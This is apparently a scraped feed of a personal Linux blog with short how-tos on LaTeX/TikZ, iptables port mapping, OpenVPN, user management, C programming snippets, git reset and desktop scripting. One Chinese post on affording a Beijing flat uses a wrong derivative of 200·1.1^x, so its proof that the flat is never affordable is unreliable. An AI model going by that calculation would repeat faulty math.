\begin{tikzpicture}[shorten >= 1pt,node distance=2.4cm,on grid,>=stealth',every state/.style={draw=blue!50,very thick,fill=blue!20}]
\draw[help lines] (0,0) grid (8,6);
% Node format:
\node[state,initial,accepting] (q_0) at (0,3) {$q_0$};
\node[state] (q_1) [above right=of q_0] {$q_1$};
\node[state,accepting] (q_2) at (4,0) {$q_2$};
% Path format:
\path[->]
(q_0) edge [loop right] node {\parbox[t]{48pt}{$0,\epsilon \rightarrow 0 \\ 1, \epsilon \rightarrow 1$}} ()
edge node [above left] {\parbox[t]{48pt}{$0,\epsilon \rightarrow 0 \\ 1, \epsilon \rightarrow 1$}} (q_1)
edge node [below left] {\parbox[t]{48pt}{$0,\epsilon \rightarrow 0 \\ 1, \epsilon \rightarrow 1$}} (q_2);
\end{tikzpicture}
\end{document}
Here are some explanations.
\draw[help lines] (0,0) grid (8,6);
This line draws a grid to help you put nodes. You can comment this line after you're content with your drawing.
\node[state,initial,accepting] (q_0) at (0,3) {$q_0$};
\node[state] (q_1) [above right=of q_0] {$q_1$};
These two lines defines two nodes. q_0 is a node marked as state, initial, and accepting, and is placed at coordinate (0,3). The second part (q_0) sets its name, while last part $q_0$ sets the text inside it.
q_1 is similarly defined, but uses a relative positioning.
\path[->]
(q_0) edge [loop right] node {\parbox[t]{48pt}{$0,\epsilon \rightarrow 0 \\ 1, \epsilon \rightarrow 1$}} ()
edge node [above left] {\parbox[t]{48pt}{$0,\epsilon \rightarrow 0 \\ 1, \epsilon \rightarrow 1$}} (q_1)
edge node [below left] {\parbox[t]{48pt}{$0,\epsilon \rightarrow 0 \\ 1, \epsilon \rightarrow 1$}} (q_2);
This line defines a path starting at (q_0), which consists of three lines. If a line is a loop, point out the loop direction as indicated by [loop right]. The positioning option [above left] after node puts the text at the 'above left' of the line. Finally, if the text contains line break, you should enclose it inside \parbox.
Download the .tex file here.
Quantum circuits
Actually the template here is nothing but a figure environment:
\begin{figure}[H]
\begin{center}
\includegraphics[width=0.2\textwidth]{a.png}
\end{center}
\end{figure}
But the importance is how to generate the picture of the quantum circuit. I recommend the qasm2circ package written by Prof. Issac L. Chuang.
You can download this package at http://www.media.mit.edu/quanta/qasm2circ/, extract it at ${TEXMFLOCAL}/tex/latex/qasm2circ, then run texhash.
We'll use qasm2png to generate png files we want. qasm2png will call qasm2tex.py, so add the full path to it in qasm2png if qasm2png complains not being able to find it.
Now you can describe your quantum circuit using the QASM language. You can view the homepage above, or read README.
To generate png files, run
qasm2png a.qasm
You'll get a.png, which you need in the .tex file.
qasm2png supports batch operation. So you can process several .qasm files at one time, like
qasm2png a.qasm b.qasm c.qasm]]>
setxkbmap -layout ru
But I suggest you set some shortcuts before running this command (and change layout via shortcuts). Otherwise, when you have changed to Russian, you may not be able to input Linux commands (in English), which means you cannot change back. Of course you can use mouse to change back if your DE supports it.
To set shortcuts in Openbox, add the following lines in ~/.config/openbox/rc.xml
<keybind key="A-F11">
<action name="Execute">
<execute>
setxkbmap -layout ru
</execute>
</action>
</keybind>
<keybind key="A-F12">
<action name="Execute">
<execute>
setxkbmap -layout us
</execute>
</action>
</keybind>
After reconfiguring Openbox, you'll be able to change the keyboard layout via Alt+F11 and Alt+F12.
Finally, there's a Russian keyboard layout
To set mime-type definition, open /usr/share/mime/packages, and view the .xml files in it. You'll find how to write your own mime-type definitions.
To set application associations, open /usr/share/applications, and view the .desktop files in it. You'll find how to write your own .desktop files. Also, don't forget to view the defaults.list file, which sets the default applications for certain mime-types.
There are also local settings, located at ~/.local/share/mime/packages and ~/.local/share/applications. Local settings will take precedence over global, i.e., system settings, by convention.
Finally, there is an example:
http://wiki.archlinux.org/index.php/Custom_File_Associations
Note. There are also tools to manage these tasks, like xdg-mime. Type xdg- and press Tab to see all xdg- tools.
]]>But for now, let's get familiar with AWStats first. This package should be found in most Linux distributions. After installing the package, you should have a look at the following files, which may be scattered across your system, depending on the packager... But you should be able to find them using dpkg -L awstats or pacman -Ql awstats, etc.
BTW, the database directory is /var/lib/awstats.
Great, now let's start to configure AWStats. Below are the jobs we need to do:
Cut log files on a daily basis.
Nginx isn't born with this feature (at least for version below 0.7.67). So you have to cut the log file each day by yourself. Cut is nothing but moving the log file to a new place and telling Nginx to generate a new one:
mv /var/log/nginx/access.log /var/log/nginx/access_`date +%Y%m%d`.log killall -s USR1 nginx
USR1 is a signal such that, when passed to nginx, will cause nginx to reopen the log file.
Save the code above as cut.sh and add it to crontab, setting the time to 23:55 on each day.
Generate a configuration for your site.
Run the command
perl awstats_configure.pl
Then answer each question interactively. A new configuration file like awstats.www.sitename.com.conf should be generated in /etc/awstats.
Note that awstats_configure.pl needs a awstats.model.conf file. In case that your packager doesn't place it in the right place, you should either place it in the right place, or modify the settings in awstats_configure.pl.
Next, open the generated configuration file. Change the LogFile option to something like:
LogFile = "/var/log/nginx/access_%YYYY-0%MM-0%DD-0.log"
This will cause AWStats to look for the log of the current day. Also change the LogFormat to
LogFormat = "%host - %host_r %time1 %methodurl %code %bytesd %refererquot %uaquot %otherquot"
This defines the log format that AWStats will recognize. And we should make Nginx actually write logs in this format, by setting in nginx.conf (or site-specific configuration files):
log_format awstats '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "http_x_forwarded_for"'; access_log /var/log/nginx/access.log awstats;
Now AWStats should be able to recognize the log files of Nginx. (You may need to restart Nginx, of course.)
Generate static html pages.
For simplicity, we jump off the usage of awstats.pl (although it does the real job) and directly use awstats_buildstaticpages.pl. This program will first update the database (if specified with -update option, wich we do), then write results to static html pages. The command is as follows:
perl awstats_buildstaticpages.pl -config=www.sitename.com -update -dir=/output_dir
This should generate about 20 html pages in output_dir. The main page is awstats.www.sitename.com.html. Just view it with your browser.
You should also save the code above as buildpages.sh and add it to crontab, setting the time to 23:56 or 23:57. This will make sure logs are first cut then html pages are built at the end of each day.
Protect your statistic data with authorization.
You may not want others to see these pages. So you may want to add the following lines in the proper position (http, server or location) of nginx.conf
auth_basic "admin"; auth_basic_user_file .htpasswd;
The .htpasswd is generated using
htpasswd -c .htpasswd admin
This article provides very useful information:
http://www.ibm.com/developerworks/cn/linux/l-cn-awstats-nginx/index.html
]]>A good comparison between eMule and BitTorrent is at http://blog.csdn.net/superyao2008/archive/2008/06/25/2586929.aspx
]]>A more detailed eMule protocol guide is at http://sourceforge.net/projects/emule/files/Protocol%20Documentation/1.0/
The original paper for Kademlia is at http://pdos.csail.mit.edu/~petar/papers/maymounkov-kademlia-lncs.pdf
]]>Fullscreen shot
scrot a.png
Manually pick a window
scrot -s a.png
Countdown (specified with -c, and delay with -d, usually used together)
scrot -cd 5 a.png
With window border
scrot -b a.png
With thumbnail
scrot -t a.png
Execute a command on the file ($f represents the filename)
scrot a.png -e 'echo $f']]>
http://nmap.org/man/zh/index.html
不得不说写得和翻译得都很不错。看的时候都不知道是什么，抬头才发现是nmap.org的官方指南，呃，其实也就是翻译了man nmap。其实你也可以直接man，但是我说这个翻译得真不错，嗯。
]]>Suppose the server's public network IP is 200.200.200.200, and its private network, i.e., LAN IP is 10.0.0.1, and your machine's IP is 10.0.0.2 (Of course it's a LAN IP and actually you don't have a public network IP, otherwise you don't bother the server.). Suppose you want to map the server's TCP 4662 port to your machine's 4662 port. Then the following command suffices:
iptables -t nat -A PREROUTING -d 200.200.200.200 -i venet0 -p tcp --dport 4662 -j DNAT --to-destination 10.0.0.2:4662
Isn't it easy? The same applies to UDP as well. To get a HighID, you just need to map the TCP port 4662, as the example shows.
Next we analyze what has happened when you communicate with others using the mapped TCP port 4662.
When you make a connection to others using your TCP port 4662, for example, you initiate a connection to 222.222.222.222:80. So it's something like 10.0.0.2:4662 -> 222.222.222.222:80. Your request is sent to the server 10.0.0.1 since its the exit (and entrance) of the LAN. (You make sure the packet is sent there by editing the routing table, or set it as the default gateway.) A SNAT will be done there, from 10.0.0.2 to 200.200.200.200 (You need to set this SNAT yourself.), then it becomes 200.200.200.200:4662 -> 222.222.222.222:80. Note that although the new source port is still 4662 here, it isn't always the case. But iptables will try its best not to do an alternation. man iptables and see --to-source for details. Usually it works well. But you can always further specify the port converted.
Then 222.222.222.222 will see this request on its TCP port 80. It will send data back to 200.200.200.200:4662. Note that while doing SNAT,the server saves information about the conversion. (See this article: http://blog.cykerway.com/readpost.php?id=158) So when the reply comes back, the server knows how to convert back the IP and port and send the packet to the actual user, i.e., 10.0.0.2:4662.
That's half the story. Now see what happens when someone on the public network, say, with IP and port 233.233.233.233:12345, initiates a connection to 10.0.0.2:4662. Of course that guy cannot use the IP 10.0.0.2. He can only make a connection to 200.200.200.200:4662. That's why we do a port map. The command above just sends what received on 200.200.200.200:4662 to 10.0.0.2:4662. Note that the source address isn't altered! So when 10.0.0.2 answers this request, it should reply to 233.233.233.233:12345! How can it know how to route this packet? It has a default gateway, right? If it doesn't know where to send from the routing table, it just sends the packet to the default gateway. In this case, the gateway is usually the one who does the DNAT job, which should know how to deal with the public network IP 233.233.233.233.
There is another method to make the connection work well with DNAT. The server can do an extra SNAT after the DNAT. It can alter the IP address 233.233.233.233 to its own LAN IP, i.e., 10.0.0.1, then sends it to 10.0.0.2. (Note that the port is usually unaltered, as pointed out above. And the information of IP mapping is saved.) From the point of view of 10.0.0.2, the request is from 10.0.0.1. So it just replies to 10.0.0.1. The other work is done by 10.0.0.1 to make sure the reply goes to 233.233.233.233 exactly.
Finally, if you want to test whether you've succeeded, check with thispage http://www.amule.org/testport.php. Also, you may find this articles useful http://wiki.amule.org/index.php/Get_HighID.
]]>现在北京有一套房子，价格200万，假设房价每年上涨10%，一个软件工程师每年固定能赚40万。如果他想买这套房子，不贷款，不涨工资，没有其他收入，每年不吃不喝不消费，那么他需要几年才能攒够钱买这套房子？
看到论坛里各种高谈阔论，连超越数、泰勒都搞出来了……都白在帝都活这么些年了。用屁股想都知道是E。要真想搞，中学数学就可以了。
定义房价与收入的差为f(x)，x \geq 0，显然若能找到一个x \geq 0使得f(x) \leq 0，就买得起了。
由定义f(x) = 200 \cdot 1.1^x - 40x，求导数f'(x) = 200 \cdot x \cdot 1.1^{x-1} - 40。f'(x)性质不错，连续，单调递增，x趋于正无穷时f'(x)也趋于正无穷，x = 0时f'(x) < 0。这些说明f(x)是凸函数，只有一个极小值点，就是f'(x) = 0的那个点，不妨记为x_0。则x_0满足5x_0 \cdot 1.1^x_0 = 1.1，也就是1.1^x_0 = \frac{1.1}{5x_0}。代入f(x)，则有f(x_0) = \frac{44}{x_0} - 40x_0。
显然有f'(1) > 0，又因为f'(x)单调递增，所以x_0 < 1。所以\frac{44}{x_0} > 44，并且40x_0 < 40，所以f(x_0) > 44 - 40 = 4 > 0。
f(x_0)最小值都大于0，就是说，你们帝都程序猿，都要大彻大悟认清形势，就算进了Google，也别抱有买房这个不切实际的幻想……
]]>ed2k "[link address]"
不过开shell输入命令再贴链接还是麻烦。用上parcellite就好了。parcellite是个剪贴板管理器，里面有一个action功能，就是可以以当前剪贴板内容为参数执行命令。Preferences的Actions标签页里，设置Action为ed2k，Command为ed2k "%s"即可。
默认呼出热键是Ctrl+Alt+A。那么下载链接时先点右键复制到剪贴板，再按Ctrl+Alt+A，选择ed2k命令即可。
如果你还嫌麻烦，不妨自己写个程序监视剪贴板，发现ed2k链接就用ed2k命令加到aMule里。
Update. Firefox的话直接关联ed2k协议到ed2k程序就行了，连parcellite都不用了。方法见http://wiki.amule.org/index.php/Ed2k_links_handling#Firefox_2_and_3_.28or_later.29。别的浏览器应该也行，没细看。
]]>Add a user
Use useradd. Decisions to make in options:
If you want to create a group with the same name as the user and set it as the initial group for the user, use -U. Otherwise, use -N.
If you want to make a home directory, use -m. Otherwise, use -M.
If you want to set an existing group as the initial group for the user, use -g [group].
If you want to add this user to existing groups, use -G [group1],[group2],...,[groupn]
The command I usually use is
useradd -U -m [user name]
Modify a user
Use usermod. Common tasks are:
Change a user's group to group1,group2,...,groupn. Use
usermod -G [group1],[group2],...,[groupn] [user name]
Note that this will remove the user from any group to which he/she originally belongs. To append instead of set the groups for the user, add the -a option:
usermod -a -G [group1],[group2],...,[groupn] [user name]
This will keep any group of the user to which he/she originally belongs, while adding him/her to the new groups.
Change a user's home directory.
To set the user's new home directory, use the -d option. For example, to set the user's new home directory to /tmp/new_home, use
usermod -d /tmp/new_home [user name]
To move the user's current home directory to the new home directory, add the -m option:
usermod -d /tmp/new_home -m [user name]
Delete a user.
Use userdel. This command has an option that is often used, the -r option, which removes the user's home directory and mail spool. To remove the user, use
userdel -r [user name]
After removing the user, if you have an empty group with the same name as the user (which is often the one you created using useradd when adding this user), and USERGROUPS_ENAB is set to yes (see below for login.defs), then this group will also be removed.
Add a group.
Use groupadd. This command is simple. Just append the group name:
groupadd [options] [group name]
Modify a group.
Use groupmod. This command is also simple. Usually you just want to modify the gid or group name. The common syntax is:
groupmod [options] [group name]
Consult man page for the options.
Delete a group.
Use groupdel. This is an even simpler command. Syntax is:
groupdel [group name]
Change a user's password.
Use passwd. The syntax is:
passwd [user name]
Then type the password manually.
Verify integrity of password files.
Use pwck. This ensures that /etc/passwd and /etc/shadow have proper format. This command also has a useful -s option, which will sort entries in /etc/passwd and /etc/shadow by UID.
Verify integrity of group files.
Use grpck. This ensures that /etc/group and /etc/gshadow have proper format. This command also has a useful -s option, which will sort entries in /etc/group and /etc/gshadow by GID.
Convert to and from shadow passwords and groups.
This set of commands have four commands: pwconv, pwunconv, grpconv, grpunconv. See man page for details.
View a user's user and group information.
Use id. The syntax is:
id [options] [user name]
There are some config files/directories in /etc that you should view to fully understand where the user/group settings come from. These files/directories are: /etc/login.defs, /etc/skel, /etc/default/useradd.
]]>Check tun device.
Run
ls /dev/net
If there is a device called tun, then tun device exists.
Install OpenVPN.
Generate keys and certificates.
Check whether there is a folder /usr/share/openvpn/easy-rsa (Arch) or /usr/share/doc/openvpn/examples/easy-rsa (Debian), or similar one on other distros. If so, copy that folder to /etc/openvpn:
cp -r /usr/share/openvpn/easy-rsa /etc/openvpn
Then
# Arch cd /etc/openvpn/easy-rsa # Debian cd /etc/openvpn/easy-rsa/2.0
Now there should be some scripts: build-ca, build-key-server, etc. in the current folder. First view vars and modify it if you want. You may set the fields for the certificates here, for convenience. Then, run the following commands:
. ./vars ./clean-all # delete all previous keys ./build-ca # generate root certificate/key, fields can be filled arbitrarily ./build-key-server server # generate server certificate/key, fields can be filled arbitrarily but make sure Common Name = server ./build-key client1 # generate client certificate/key, fields can be filled arbitrarily but make sure Common Name = client1 ./build-dh # generate Diffie Hellman parameters
Finally, we generate ta.key using
openvpn --genkey --secret ta.key
This file is for HMAC firewall. Put it under the same folder as server.conf (see below).
Write configuration files.
We put an example of server.conf and client.conf here, and explain each option in the comment.
# server.conf # local IP address on which OpenVPN listens local 2001:xxxx:xxxx:xxxx:xxxx:xxxx # port on which OpenVPN listens port 1194 # protocol proto udp6 # create a routed IP tunnel dev tun # root certificate ca /etc/openvpn/easy-rsa/2.0/keys/ca.crt # server certificate cert /etc/openvpn/easy-rsa/2.0/keys/server.crt # server key (should be kept secret) key /etc/openvpn/easy-rsa/2.0/keys/server.key # This file should be kept secret # Diffie Hellman parameters dh /etc/openvpn/easy-rsa/2.0/keys/dh2048.pem # HMAC firewall during connection initialization tls-auth ta.key 0 # subnet address pool (server takes 10.8.0.1 itself, others for clients) server 10.8.0.0 255.255.255.0 # maintain a record of client <-> virtual IP address ifconfig-pool-persist ipp.txt # push customized route to client # format is (addr netmask gateway) # if gateway is omitted, then it's server-side P-t-P address #push "route xxx.xxx.xxx.0 255.255.255.0 xxx.xxx.xxx.1" # set OpenVPN server as the gateway for client # this routes all client's traffic through OpenVPN server # with def1 option, client's original gateway is not destroyed (route -n for details) # with bypass-dhcp option, dhcp packets are not influenced push "redirect-gateway def1 bypass-dhcp" # push DNS to clients push "dhcp-option DNS 8.8.8.8" push "dhcp-option DNS 8.8.4.4" # ping every 10s, assume remote is down if no ping received during 120s keepalive 10 120 # compress data comp-lzo # use previous key on restart persist-key # keep dev linkup on restart (otherwise it goes linkdown then linkup) persist-tun # server status, rewritten every minute status openvpn-status.log # verbose level 3 verb 3 # append log to /var/log/openvpn.log # if you use log instead of log-append, then it truncates the log file on startup log-append /var/log/openvpn.log # uncomment in case of MTU issues #tun-mtu 1000 #fragment 1000 #mssfix 1000
# client.conf # declare as client client # create a routed IP tunnel dev tun # protocol proto udp6 # server address and port remote 2001:xxxx:xxxx:xxxx:xxxx:xxxx 1194 # keep trying indefinitely to resolve the server name resolv-retry infinite # don't bind to a specific port nobind # use previous key on restart persist-key # keep dev linkup on restart (otherwise it goes linkdown then linkup) persist-tun # root certificate ca ca.crt # client certificate cert client1.crt # client key key client1.key # HMAC firewall during connection initialization tls-auth ta.key 1 # verify server certificate by checking nsCertType is set to server ns-cert-type server # compress data comp-lzo # verbose level 3 verb 3 # uncomment in case of MTU issues #tun-mtu 1000 #fragment 1000 #mssfix 1000 # customized routing on client itself during VPS in on route xxx.xxx.xxx.0 255.255.255.0 xxx.xxx.xxx.1
We use IPv6 address here to show the possibility of tunneling over IPv6. Of course OpenVPN can tunnel over IPv4. Setting protocol to udp instead of udp6 and fill IPv4 address instead of IPv6 ones will make it work.
To use IPv6, you also need to use a patched version, which can be found at http://github.com/jjo/openvpn-ipv6. Check the version by
openvpn --version
If there is a [PF_INET6] option, then it applies to IPv6.
Run OpenVPN.
# add --daemon to run as daemon # start server openvpn --config server.conf # start client openvpn --config client.conf # testing ping [server's subnet address]
IP forwarding.
enable IPv4 forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
Set
net.ipv4.ip_forward=1
in /etc/sysctl.conf to make it permanent.
Add a rule for iptables
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
or
iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to-source [server's public network IP]
This article is meant to be an introduction. For more detailed information, visit http://openvpn.net/index.php/open-source/documentation/howto.html and http://chding.blog.51cto.com/102388/15119.
]]>
#include <stdio.h>
int main()
{
int res = 1;
int inc = 2;
__asm__ __volatile__ (
"addl %1,%0\n\t"
"addl %1,%0\n\t"
"addl %1,%0\n\t"
:
"+r"(res)
:
"r"(inc)
:
"ebx"
);
printf("%d\n", res);
return 0;
}
Output:
]]>7
Run sm_alloc first, and you'll receive a shared memory segment ID.
Then run sm_write and provide it with the ID you received just now, it will write a string Hi, shared memory! into that memory.
Then run sm_read and provide the ID, it will print the string in that memory.
Finally run sm_free and provide the ID, it will free that memory.
//sm_alloc.c
#include <stdio.h>
#include <sys/shm.h>
#include <sys/stat.h>
int main()
{
int sid = 0;
int size = 4096;
sid = shmget(IPC_PRIVATE,size,S_IRUSR | S_IWUSR);
printf("%d\n",sid);
return 0;
}
//sm_write.c
#include <stdio.h>
#include <sys/shm.h>
#include <sys/stat.h>
int main()
{
int sid = 0;
scanf("%d",&sid);
char *sm = (char *)shmat(sid,NULL,0);
sprintf(sm,"Hi, shared memory!");
shmdt(sm);
return 0;
}
//sm_read.c
#include <stdio.h>
#include <sys/shm.h>
#include <sys/stat.h>
int main()
{
int sid = 0;
scanf("%d",&sid);
char *sm = (char *)shmat(sid,NULL,0);
printf("%s\n",sm);
shmdt(sm);
return 0;
}
//sm_free.c
#include <stdio.h>
#include <sys/shm.h>
#include <sys/stat.h>
int main()
{
int sid = 0;
scanf("%d",&sid);
shmctl(sid,IPC_RMID,NULL);
return 0;
}
Tarball at http://blog.cykerway.com/uploads/20100924/sm.tar.gz
]]>http://kangzj.net/is-your-web-ipv6-ready/
Below are some minor problems:
ip command not found
On Debian, ip command is in the package iproute. So
apt-get install iproute
should solve this problem.
nginx's ipv6 support
As pointed out in the article above, nginx adds ipv6 support since version 0.7.36. If you use the squeeze or a later distribution in your sources.list, you should get nginx already with ipv6 support. Otherwise, compile it yourself with configure option
--with-ipv6
You may need the package libssl-dev for this.
Finally, ipv6 server configurations for nginx can be found in http://kovyrin.net/2010/01/16/enabling-ipv6-support-in-nginx/
So I use a circuitous way to do this job:
ddjvu -page=3 -format=tiff doc.djvu page.tiff cjb2 page.tiff page.djvu
Then you can use page.djvu as a single-page .djvu file, which can be used in djvm, such as:
djvm -i doc.djvu page.djvu 10
This sets page.djvu as the 10th page in doc.djvu.
]]>First, use xev to get the keycode.
Second, run
xset r [keycode]
to turn on auto-repeat for key keycode.
xset -r [keycode]
to turn off auto-repeat for key keycode. Note that the bar means minus, not option.
]]>http://blog.csdn.net/Javadino/archive/2008/09/06/2891446.aspx
http://blog.csdn.net/li_shyng/archive/2010/04/30/5545973.aspx
]]>gtk-can-change-accels = 1
Source this file and open a Gnome application such as evince. Move cursor to the menu item you want to change accelerate key for. Hang over it and press the accelerate key. It will be set. Then modify the ~/.gtkrc-2.0 file and change the value from 1 to 0 to disable it. Then the new accelerate key stays there. So sweet.
]]>http://www.yolinux.com/TUTORIALS/C++Signals.html
http://man.yolinux.com/cgi-bin/man2html?cgi_command=signal
http://man.yolinux.com/cgi-bin/man2html?cgi_command=sigaction
]]>This program cannot be exited via all three key combinations above. So better run it in a separate xterm. Or it'd be better if someone could tell me how to exit from such programs without help from other consoles.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
void signal_handler(int signum)
{
switch (signum) {
case SIGINT:
printf("Caught signal SIGINT: %d\n",signum);
break;
case SIGQUIT:
printf("Caught signal SIGQUIT: %d\n",signum);
break;
case SIGTSTP:
printf("Caught signal SIGTSTP: %d\n",signum);
break;
case SIGWINCH:
printf("Caught signal SIGWINCH: %d\n",signum);
break;
}
}
int main()
{
signal(SIGINT,signal_handler);
signal(SIGQUIT,signal_handler);
signal(SIGTSTP,signal_handler);
signal(SIGWINCH,signal_handler);
while (1) {
sleep(1);
}
return 0;
}
And the result is:
Ctrl-c - SIGINT (2)
Ctrl-z - SIGTSTP (20)
Ctrl-\ - SIGQUIT (3)
Test in urxvt.
]]>That's because you don't try core dump. With core dump, the system will write memory state to a core file when a program exits abnormally. Combined with the symbol table generated by -g (or -ggdb), you can locate the line where the problem happens.
First, run
ulimit -S -c
to check whether core file size is limited. If it's 0, run
ulimit -S -c unlimited
and check again. If it's still 0, change -S to -H and run again.
Second, compile your program with -g or -ggdb option
gcc -ggdb -o a a.c
Finally, run your program. If it has a segmentation fault, you'll get the notice:
Segmentation fault (core dumped)
There should be a new file named core or core.[pid]. Now you can use
gdb a core
to debug the program. gdb should stop at the line of error. Use bt to see where it comes from.
Finally, some useful materials:
http://www.groad.net/bbs/read.php?tid-1472.html
http://www.network-theory.co.uk/docs/gccintro/gccintro_38.html
]]>This example says sizeof can be used on a dereferenced pointer,even if it is of type struct *, and doesn't point to anything. This is because the size of the struct is known at compile time.
#include <stdio.h>
struct abc {
int a;
double b;
char *c;
};
int main()
{
struct abc *p;
printf("%d\n",sizeof(*p));
return 0;
}
Output:
16
Note that there is an alignment issue. If we change the definition of struct abc to:
struct abc {
char a;
double b;
char *c;
};
The result will still be 16 since it's 4-byte-aligned.
Note. This program is tested on a 32-bit machine.
This is a valid struct initialization. In this way you don't care about the order of items.
struct abc {
int a;
double b;
char *c;
};
struct abc item = {
.b = 3.14,
.c = "ccccc",
.a = 10,
};
Also note that the compiler doesn't care about the last comma. It'll be OK whether you add it or not. I don't know whether it's a compiler-specific issue. But it looks fine.
Variables length array is a new feature in C99. In this case this is an execution-time sizeof.
#include <stdio.h>
int calc(int k)
{
char buf[k+12][k+3];
return sizeof(buf);
}
int main()
{
printf("%d\n",calc(10));
return 0;
}
Output
286
Maybe these articles will help:
http://www.linux.com/archive/feature/113775
http://www.tuxradar.com/content/how-it-works-linux-audio-explained
So, the Linux sound system is somehow like this:
There are some other components I don't mention here, such as OSS, ESD and aRts. You'd better refer to the articles above.
]]>http://www.thegeekstuff.com/2008/11/overview-of-ramfs-and-tmpfs-on-linux/
]]>http://www.use-strict.de/articles/Using-ncmpc-to-fetch-and-read-lyrics.html
]]>A plugin can be any type of application (compiled executable, Perl or shell script, ...) that satisfies the following requirements:
- it takes the song's artist and title as arguments
- it prints the retrieved lyrics to STDOUT on success and returns an exit value of 0 in that case
- if an error occurs, it returns an exit value of 1
- if the lyrics could not be retrieved, it returns an exit value of 69
256-color feature solves this problem well. At first I was looking at Wikipedia about SGR(Select Graphic Rendition) parameters. However, I didn't find it until I saw this page:
http://www.frexx.de/xterm-256-notes/
in which the author mentions:
Set the foreground color to index N: \033[38;5;${N}m
Set the background color to index M: \033[48;5;${M}m
38 and 48 are marked as reserved in Wikipedia page with no more details. Well, we've found it after all. So add the following line in .bashrc will make a colorful less (and man if you set less as the default MANPAGER) page:
# color man pages for less export MANPAGER=/bin/less export LESS_TERMCAP_mb=$'\E[0;34m' # begin blinking export LESS_TERMCAP_md=$'\E[1;38;5;10m' # begin bold export LESS_TERMCAP_me=$'\E[0m' # end mode export LESS_TERMCAP_so=$'\E[7;38;5;15m' # begin standout-mode - info box/search result export LESS_TERMCAP_se=$'\E[0m' # end standout-mode export LESS_TERMCAP_us=$'\E[4;38;5;11m' # begin underline export LESS_TERMCAP_ue=$'\E[0m' # end underline]]>
Well, they are formally called radial engines, and are used in aircrafts having propeller connected to the shaft delivering power in order to produce thrust.
And there are many more simple animations of complicated mechanisms:
http://mytechnologyworld9.blogspot.com/2010/08/complicated-mechanisms-explained-in.html
]]>
/*
foo();
bar();
//*/
To uncomment, just add another / in the first line:
//*
foo();
bar();
//*/
So you don't need to change the other end, which saves a lot of time.
Note. Although // is not ANSI C and is brought in by C++, actually many compilers support this format of comments.
]]>There are many examples, which makes it a good start point for beginners.
]]>
#include <stdio.h>
#include "main.h"
int main()
{
extern int k;
printf("%d\n",k);
return 0;
}
And we compile it using
gcc -o main -I dir1 -I dir2 main.c
Then if there is a main.h in both dir1 and dir2, the one in dir1 will be used since it comes earlier in the command. If instead we use
gcc -o main -I dir2 -I dir1 main.c
to compile, then the one in dir2 will be used.
If there exists headers with the same name in the include directories,you can always explicitly set the header to use by using absolute path in the source file such as
#include "/home/foo/dir1/main.h"]]>
http://users.actcom.co.il/~choo/lupg/tutorials/xlib-programming/xlib-programming.html
And I strongly recommend you go to the Tutorials homepage. The author has made a series of illustrative articles.
]]>In all the three cases, reset will reset the HEAD pointer(see below) to what you designate.
To illustrate the difference, first you should know how files are kept and referenced in Git. There are three stages:
Initially, all files are in the working tree. When you run
git add
They'll be indexed(formally called staged), i.e., they're now in the index. And when you finally run
git commit
They'll be in the commit.
Besides this, you should also know the HEAD pointer. The HEAD pointer always points to the current commit.
Now we can tell the difference between the hard/soft/mixed options of git reset.
--hard will reset both the working tree and the index. In this way, after this is executed, your working tree and index will be exactly what they are for the commit you reset to. And the diff of the current HEAD and the commit you reset to is discarded.
In this way, you have both a clean working tree and a clean index.
--soft will keep both the working tree and the index. In this way, after this is executed, your current working tree and index will be kept. And the diff of the current HEAD and the commit you reset to will be added to the index.
In this way, you may have neither a clean working tree nor a clean index.
--mixed will keep the working tree but reset the index. In this way, after this is executed, your current working tree will be kept. And what was originally in the index will be reset(However, it still exists in the working tree. This operation is formally called unstage). And the diff of the current HEAD and the commit you reset to will be added to the working tree.
In this way, you have a clean index but may not have a clean working tree.
Since this is the default, you don't have to explicitly add the --mixed.
console
kbdrate -d 150 -r 40
X
xset r rate 150 40
Both of the commands above will set the auto-repeat delay to 150ms and auto-repeat rate to 40chars/sec, in console and X, respectively, though. This will make a faster scroll in pagers like less, while not having a bad impact on character input. At least for me.
]]>You may need libaosd to use this tool. You can install it by running:
yaourt libaosd
Here's the tool (slightly modified by me):
#!/bin/bash
#============================================#
# mixer-osd
#============================================#
S="$(amixer set Master 0+ | grep 'Mono:' | awk '{print $6}' | tr -d '[]')"
case $1 in
volup)
case $S in
on) A="VOLUME: $(amixer set Master 1+ | grep 'Mono:' | awk '{print $4}' | tr -d '[]')" ;;
off) A="[MUTED] VOLUME: $(amixer set Master 1+ | grep 'Mono:' | awk '{print $4}' | tr -d '[]')" ;;
esac ;;
voldown)
case $S in
on) A="VOLUME: $(amixer set Master 1- | grep 'Mono:' | awk '{print $4}' | tr -d '[]')" ;;
off) A="[MUTED] VOLUME: $(amixer set Master 1- | grep 'Mono:' | awk '{print $4}' | tr -d '[]')" ;;
esac ;;
mute)
case $(amixer set Master toggle | grep 'Mono:' | awk '{print $6}' | tr -d '[]') in
on) A="VOLUME: $(amixer set Master 0+ | grep 'Mono:' | awk '{print $4}' | tr -d '[]')" ;;
off) A="[MUTED] VOLUME: $(amixer set Master 0+ | grep 'Mono:' | awk '{print $4}' | tr -d '[]')" ;;
esac ;;
*) echo "Usage: $0 { volup | voldown | mute }" ;;
esac
killall aosd_cat &> /dev/null
echo "$A" | aosd_cat -p 4 --fore-color=green --shadow-color=#006633 --font="Droid Sans Mono 16" --x-offset=-40 --y-offset=-0 --transparency=2 --fade-in=0 --fade-out=0 --fade-full=1000 &
# END
To use it, save the above script as /usr/bin/mixer-osd, and add the following configurations in your Openbox's rc.xml:
<!-- Keybindings for volume control -->
<keybind key="XF86AudioRaiseVolume">
<action name="Execute">
<execute>
mixer-osd volup
</execute>
</action>
</keybind>
<keybind key="XF86AudioLowerVolume">
<action name="Execute">
<execute>
mixer-osd voldown
</execute>
</action>
</keybind>
<keybind key="XF86AudioMute">
<action name="Execute">
<execute>
mixer-osd mute
</execute>
</action>
</keybind>
OK, you're done. Try pressing the volume-down, volume-up and mute key on your, laptop, perhaps. There will be a green banner in the center of your display telling you the volume and whether it's muted.
Acknowledgement. http://techpatterns.com/forums/about1354.html
Note. You can also directly use amixer to adjust volume as stated in this article: http://urukrama.wordpress.com/2007/12/19/managing-sound-volumes-in-openbox/. However I think osdsh is a little bit harder to configure than aosd_cat.
]]>xmledit is available at AUR. You can install by
yaourt vim-xmledit
